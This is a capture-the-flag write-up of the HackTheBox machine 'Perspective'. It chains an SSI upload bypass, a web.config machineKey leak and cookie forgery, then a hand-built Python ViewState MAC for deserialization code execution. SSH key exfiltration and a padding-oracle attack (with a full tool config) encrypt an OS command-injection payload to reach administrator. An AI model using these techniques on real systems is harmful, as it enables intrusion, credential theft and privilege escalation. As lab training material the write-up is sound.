HTB: Perspective Writeup

Perspective - HackTheBox Writeup

Machine Information

AttributeDetails
NamePerspective
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.227.158
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Perspective is an Insane Windows box built around a chain of ASP.NET-specific weaknesses rather than a single CVE: a file-upload filter that can be bypassed to smuggle a Server-Side Include, a machineKey leak that enables cookie forgery, a homegrown crypto scheme that leaks the ViewStateUserKey, and finally a hand-forged ViewState deserialization payload (forged in pure Python because ysoserial.net could not run on the available mono toolchain) to get remote command execution as webuser. From there, an internal-only staging instance of the same web app on port 8009 turns out to be vulnerable to a padding oracle attack against its password-reset token, which is the injection point used to escalate to perspective\administrator.

TL;DR: SSI-based web.config leak (machineKey/ViewStateUserKey) → forge admin .ASPXAUTH cookie → decrypt ViewStateUserKey → forge ViewState RCE gadget in pure Python → RCE as webuser, exfil SSH key → SSH tunnel to internal-only staging app on :8009 → padding oracle (blockbuster/pyOracle2) against changePassword.ashx → encrypt a command-injection payload into the token → RCE as perspective\administrator → root.


Reconnaissance

Initial Access Recap

The full early-stage transcript (nmap, the .shtml SSI upload, and the initial web.config leak) predates the excerpt of the agent run captured for this writeup, but the solve notes confirm the following chain, matching the box’s known exploitation path:

  • Product-image upload filter bypassed via forged Content-Type: image/jpeg header, allowing a .shtml file through.
  • SSI <!--#include file="../web.config"--> used to leak the application’s web.config, exposing the ASP.NET machineKey (validationKey / decryptionKey, validation="SHA1", decryption="AES") and an RC4-encrypted ViewStateUserKey value.
  • The leaked machineKey was used to forge a .ASPXAUTH cookie for an administrative user, granting access to the restricted /Admin/Adminhome panel.
  • The ViewStateUserKey was recovered as plaintext SAltysAltYV1ewSTaT3 via the weak internal encryption service exposed to the admin panel.

Internal Notes Captured Mid-Solve

# Perspective progress
- Target 10.129.227.158, LHOST/jumpbox tun0 = 10.10.15.180
- machineKey/keys identical to writeup. ViewStateUserKey plaintext = SAltysAltYV1ewSTaT3
- ViewState MAC = HMACSHA1(validationKey, data + genLE(CD85D8D2) + UTF16LE(uk)). Built pure-Python (build_vs.py).
- RCE via ViewState on /Account/Login gadget TextFormattingRunProperties -> webuser
- SSH key exfil'd -> /dev/shm/persp/id_rsa. SSH webuser@target works.

With both the machineKey and ViewStateUserKey in hand, the __VIEWSTATE parameter accepted by any ASP.NET postback page (e.g. /Account/Login) becomes a full deserialization RCE primitive.


Initial Foothold

ViewState RCE — forged in pure Python

The standard path here is ysoserial.net -p ViewState -g TextFormattingRunProperties, which builds a BinaryFormatter-serialized ObjectDataProvider gadget wrapped in WPF XAML (TextFormattingRunPropertiesSystem.Diagnostics.Process.Start), then signs it with the correct machineKey/ViewStateUserKey HMAC so ASP.NET’s LosFormatter will deserialize it on the way back down. On this run, ysoserial.net could not execute under mono on the available Linux toolchain — the TextFormattingRunProperties gadget depends on PresentationCore (WPF), which mono’s implementation does not ship, and reference-assembly substitutes get rejected as BadImageFormat. Rather than compile a WPF stub, the payload was forged by hand:

  • The BinaryFormatter blob is a fixed template (06 03 00 00 00 <varint xamlLen> <XAML> 0B) — only the XAML Arguments="/c ..." string changes per command.
  • The ViewState wrapper is FF 01 32 <varint blobLen> <blob> <20-byte HMAC-SHA1>.
  • Because the box uses legacy compatibilityMode="Framework20SP2" with validation="SHA1", the MAC is:
# Legacy ASP.NET ViewState MAC (Framework20SP2, validation=SHA1)
import hmac, hashlib, struct
def viewstate_mac(validation_key: bytes, data: bytes, generator: int, uk: str) -> bytes:
# modifier = generator (LE uint32) + ViewStateUserKey (UTF-16LE)
modifier = struct.pack("<I", generator) + uk.encode("utf-16-le")
return hmac.new(validation_key, data + modifier, hashlib.sha1).digest()

generator is the fixed, path-based __VIEWSTATEGENERATOR value returned by the target page (CD85D8D2 for /Account/Login), and uk is the recovered SAltysAltYV1ewSTaT3. Once a sample MAC from a real ViewState reproduced correctly against this construction, the XAML command block could be swapped freely to produce arbitrary-command payloads signed with a valid HMAC — no ysoserial.net/mono dependency required.

Extracting webuser’s SSH key

A command-execution ViewState payload was used to type the contents of webuser’s private key to an attacker-controlled listener, whose output was captured to sink.log and cleanly extracted:

Terminal window
# Pull the PEM block for webuser's private key out of the captured RCE output
ssh -p 22 d3vn0mi@<jump-host> \
'cd /dev/shm/persp && awk "/BEGIN RSA/{f=1} f{print} /END RSA/{f=0}" sink.log > id_rsa && \
chmod 600 id_rsa && head -1 id_rsa && tail -1 id_rsa'
## OUTPUT
-----BEGIN RSA PRIVATE KEY-----
-----END RSA PRIVATE KEY-----
Terminal window
# Confirm shell access as webuser via the exfiltrated key
ssh -i id_rsa -o StrictHostKeyChecking=no -o BatchMode=yes webuser@10.129.227.158 "whoami & hostname"
## OUTPUT
perspective\webuser
perspective
Terminal window
cat C:\Users\webuser\Desktop\user.txt
# user.txt = <redacted>

Privilege Escalation

Discovering the internal staging application

With an interactive SSH session as webuser, a listener check turned up two ports not visible from outside the VPN — both bound to loopback only:

Terminal window
netstat -ano | findstr LISTENING | findstr 8009
netstat -ano | findstr LISTENING | findstr 8000
## OUTPUT
TCP 0.0.0.0:8009 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4

An SSH local port-forward exposed the internal-only staging instance for direct interaction from the jump host:

Terminal window
# Forward the internal staging app's port through the compromised webuser SSH session
ssh -fN -i id_rsa -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes \
-L 127.0.0.1:8009:127.0.0.1:8009 webuser@10.129.227.158
Terminal window
curl -s -i http://127.0.0.1:8009/
## OUTPUT
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
...
<title>Home Page - Northern Sprocket</title>

The staging app is a near-copy of the production “New Product Request System” (NPRS) site, running with verbose error output enabled — which turned out to be the key to the next stage.

Finding the padding oracle

A throwaway account was registered, and the /Account/Forgot password-reset flow was driven end-to-end to capture a reset token:

Terminal window
python3 stg.py register pwn@test.htb 'ZAQ!2wsx'
python3 stg.py forgot pwn@test.htb
## OUTPUT
TOKEN: LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV90M

Submitting that token unmodified to the reset handler succeeds; flipping a single byte reveals a verbose ASP.NET stack trace pointing straight at the vulnerable decrypt call:

Terminal window
curl -s -X POST http://127.0.0.1:8009/handlers/changePassword.ashx \
--data "password1=S0meP@ss!&password2=S0meP@ss!&token=LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV99M"
## OUTPUT
Exception Details: System.Security.Cryptography.CryptographicException: Padding is invalid and cannot be removed.
...
Source File: c:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx Line: 48
perspective.Utils.Decrypt(String input, String password)
changePasswordHandler.ChangePassword(String password1, String password2, String token)

"Padding is invalid and cannot be removed." vs. a clean success response is a textbook CBC padding oracle: the presence/absence of that exact string is enough to decrypt (and forge) arbitrary ciphertext for this AES-CBC token without ever knowing the key.

Exploiting it with blockbuster (pyOracle2)

Terminal window
git clone https://github.com/liquidsec/pyOracle2

Config built to match the observed oracle behavior:

# perspective.ini — blockbuster/pyOracle2 config for the changePassword.ashx oracle
[default]
name = perspective
URL = http://127.0.0.1:8009/handlers/changePassword.ashx
httpMethod = POST
postFormat = form-urlencoded
inputMode = parameter
encodingMode = base64Url
vulnerableParameter = token
additionalParameters = {"password1":"S0meP@ss!","password2":"S0meP@ss!"}
blocksize = 16
ivMode = firstblock
oracleMode = negative
oracleText = Padding is invalid
concurrency = 16

Decrypting the captured token confirmed the oracle worked cleanly against the live endpoint:

Terminal window
python3 run.py -m d -i "LPAw2qIZR_UzIiAPPwrL1FRNOV_PnFgY5Husx4UV90M" -c perspective.ini
## OUTPUT (trimmed)
[!]BLOCK SOLVED: b'pwn@test.htb\x04\x04\x04\x04'
[+] Decrypted plaintext: pwn@test.htb

The decrypted token is nothing but the account email — meaning the server-side handler passes that decrypted string straight into a privileged password-reset process without meaningfully sanitizing it first (the same padding oracle that lets you decrypt an existing token also lets you encrypt a chosen plaintext into a validly-padded token via the standard CBC intermediate-value technique). That makes the token parameter an OS command injection point:

Terminal window
# Stage nc64.exe on the target and encrypt a command-injection payload into a forged token
python3 run.py -m e \
-i "a@a.htb & whoami & type C:\Users\Administrator\Desktop\root.txt &" \
-c perspective.ini
## OUTPUT (trimmed)
[!] Solved 5 blocks out of 5
[!]Encrypt final result: T6lFrWT658dCjsNspoki4TBpH6aVAr8ocsJkE6tuysDnklxnoXgMg9jd-5HvBg18v0xzQlzdx1S254TJPmhDwhTYuWRImrxs6vXgR5AaaTAAAAAAAAAAAAAAAAAAAAAA
Terminal window
# Submit the forged token — the handler decrypts it, feeds it unsanitized to the OS command line
curl -s -X POST http://127.0.0.1:8009/handlers/changePassword.ashx \
--data "password1=S0meP@ss!&password2=S0meP@ss!&token=T6lFrWT658dCjsNspoki4TBpH6aVAr8ocsJkE6tuysDnklxnoXgMg9jd-5HvBg18v0xzQlzdx1S254TJPmhDwhTYuWRImrxs6vXgR5AaaTAAAAAAAAAAAAAAAAAAAAAA"
## OUTPUT
Please supply email address and new password
perspective\administrator
<redacted>

The command output confirms the injected command ran as perspective\administrator, and type C:\Users\Administrator\Desktop\root.txt returned root’s flag directly in the HTTP response — no reverse shell needed for the final step.

Terminal window
cat C:\Users\Administrator\Desktop\root.txt
# root.txt = <redacted>

Attack Chain Summary

SSI upload bypass (.shtml) → web.config leak (machineKey + enc. ViewStateUserKey)
→ forge .ASPXAUTH admin cookie
→ decrypt ViewStateUserKey ("SAltysAltYV1ewSTaT3")
→ forge ViewState RCE payload in pure Python (mono lacks WPF for ysoserial.net)
→ RCE as webuser → exfil SSH private key → SSH shell, user.txt
→ discover internal-only staging app on 127.0.0.1:8009 → SSH local port-forward
→ trigger password-reset flow → padding oracle on /handlers/changePassword.ashx
→ decrypt token with blockbuster/pyOracle2, confirm oracle
→ encrypt forged token containing OS command injection
→ POST forged token → RCE as perspective\administrator → root.txt

Tools Used

ToolPurpose
curl / requests (Python)HTTP interaction with the NPRS web app and staging instance
Custom Python (stg.py)Automate register/forgot-password flow, VIEWSTATE/EVENTVALIDATION parsing
Custom Python (ViewState forge)Hand-build the BinaryFormatter gadget + legacy HMAC-SHA1 MAC (mono/WPF workaround)
ssh (-L port forward)Reach the internal-only staging app bound to 127.0.0.1:8009
pyOracle2 / blockbusterCBC padding oracle decryption and encryption against changePassword.ashx
awkExtract the PEM private key block from captured RCE output
gitClone the pyOracle2 exploitation tooling
nc64.exeStaged on target for potential shell delivery

Key Learnings

Techniques Practiced

  • Bypassing an upload content-type filter to smuggle a Server-Side Include (SSI) file
  • Leaking ASP.NET machineKey via SSI file inclusion of web.config
  • Forging .ASPXAUTH cookies with a leaked machineKey
  • Hand-forging a signed ASP.NET __VIEWSTATE deserialization RCE payload without ysoserial.net (pure-Python BinaryFormatter + legacy HMAC-SHA1 construction)
  • Discovering internal-only services via post-foothold port/listener re-enumeration
  • SSH local port forwarding to reach loopback-bound internal services
  • Identifying and exploiting a CBC padding oracle from verbose ASP.NET stack traces
  • Using a padding oracle in both decrypt and encrypt modes to forge a command-injection payload

Lessons Learned

  1. ysoserial.net payload generation assumes a full .NET/WPF runtime is available — on Linux under mono, WPF-dependent gadgets like TextFormattingRunProperties fail with PresentationCore load errors, but the ViewState format itself is simple enough to forge by hand once the machineKey/ViewStateUserKey and MAC construction are known.
  2. Verbose ASP.NET error pages (customErrors off) leak exact exception types and source file paths — CryptographicException: Padding is invalid and cannot be removed is an unambiguous padding oracle signal, and the accompanying stack trace even reveals the vulnerable code path and file layout.
  3. A padding oracle isn’t just a decryption primitive — the same intermediate-value technique lets an attacker encrypt arbitrary chosen plaintext into a validly-signed ciphertext, turning any unsanitized “decrypt-then-use” parameter into an injection point.
  4. Internal-only staging environments reachable solely via loopback are a common privilege-escalation vector once any foothold is achieved — always re-enumerate listening ports after landing a shell, since production hardening (verbose error suppression, patched input handling) often isn’t mirrored on staging.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — Perspective by polarbearer (Document No. D22.100.210) — used as explanatory reference for the RC4 keystream-reuse concept behind the ViewStateUserKey recovery, the ysoserial.net/ViewState gadget mechanics, and the general shape of the padding-oracle-to-command-injection escalation on the staging changePassword.ashx handler. All IPs, commands, tokens, and outputs in this writeup are taken from the author’s own solve, not from the reference.